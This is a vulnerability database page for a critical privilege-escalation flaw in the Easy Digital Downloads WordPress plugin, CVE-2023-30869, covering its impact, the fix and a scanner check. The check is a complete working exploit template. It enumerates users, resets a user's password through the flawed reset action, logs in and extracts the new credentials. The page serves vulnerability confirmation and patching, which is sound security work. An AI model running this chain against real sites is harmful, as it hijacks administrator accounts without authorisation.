HexBrain

Browse / CVEs / CVE-2023-30869

CVE-2023-30869· awesomemotive / easy digital downloads· CWE-287

Easy Digital Downloads - Privilege Escalation

criticalseverity
9.8CVSS score
3.1%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

Improper Authentication vulnerability in Easy Digital Downloads plugin allows unauth. Privilege Escalation. This issue affects Easy Digital Downloads: from 3.1 through 3.1.1.4.1.

Impact

Unauthenticated attackers can exploit improper authentication in the password reset functionality to reset any user's password and gain administrative access to WordPress sites using Easy Digital Downloads.

Fix

Update Easy Digital Downloads plugin to a version newer than 3.1.1.4.1 that properly authenticates password reset requests and prevents unauthorized privilege escalation.

How to confirm it

Send: GET {{BaseURL}}/{{route}}
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "[{\"id", "name\":")
Send: GET /?edd_action=user_reset_password&user_login={{username}}&pass1={{password}}&pass2={{password}}
Positive when: contains(header,"wp-resetpass-") and status_code == 302
Send: POST /wp-login.php
Positive when: contains_all(header,"wordpress_logged_in","/wp-admin") and status_code == 302

Run it with nuclei: nuclei -id CVE-2023-30869 -u <target>

The full check
id: CVE-2023-30869

info:
  name: Easy Digital Downloads - Privilege Escalation
  author: daffainfo
  severity: critical
  description: |
    Improper Authentication vulnerability in Easy Digital Downloads plugin allows unauth. Privilege Escalation. This issue affects Easy Digital Downloads: from 3.1 through 3.1.1.4.1.
  impact: |
    Unauthenticated attackers can exploit improper authentication in the password reset functionality to reset any user's password and gain administrative access to WordPress sites using Easy Digital Downloads.
  remediation: |
    Update Easy Digital Downloads plugin to a version newer than 3.1.1.4.1 that properly authenticates password reset requests and prevents unauthorized privilege escalation.
  reference:
    - https://patchstack.com/articles/critical-easy-digital-downloads-vulnerability?_s_id=cve
    - https://patchstack.com/database/vulnerability/easy-digital-downloads/wordpress-easy-digital-downloads-plugin-3-1-1-4-1-unauthenticated-privilege-escalation-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30869
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30869
    cwe-id: CWE-287
    epss-score: 0.031
    epss-percentile: 0.87862
    cpe: cpe:2.3:a:awesomemotive:easy_digital_downloads:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: awesomemotive
    product: easy_digital_downloads
    framework: wordpress
    publicwww-query: "/wp-content/plugins/easy-digital-downloads/"
  tags: cve,cve2023,wordpress,wp,wp-plugin,awesomemotive,easy_digital_downloads,auth-bypass,intrusive,vkev,vuln

variables:
  password: "{{rand_base(8)}}"

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{route}}"

    attack: clusterbomb
    payloads:
      route:
        - "wp-json/wp/v2/users"
        - "?rest_route=/wp/v2/users"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "[{\"id", "name\":")'
        condition: and
        internal: true

    extractors:
      - type: json
        name: username
        internal: true
        json:
          - '.[0].name'

  - raw:
      - |
        GET /?edd_action=user_reset_password&user_login={{username}}&pass1={{password}}&pass2={{password}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header,"wp-resetpass-")'
          - 'status_code == 302'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Login

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(header,"wordpress_logged_in","/wp-admin")'
          - 'status_code == 302'
        condition: and

    extractors:
      - type: dsl
        dsl:
          - '"Username: " + username + ". Password: "+ password'

References

Use this check only on systems you are authorised to test. Where the data comes from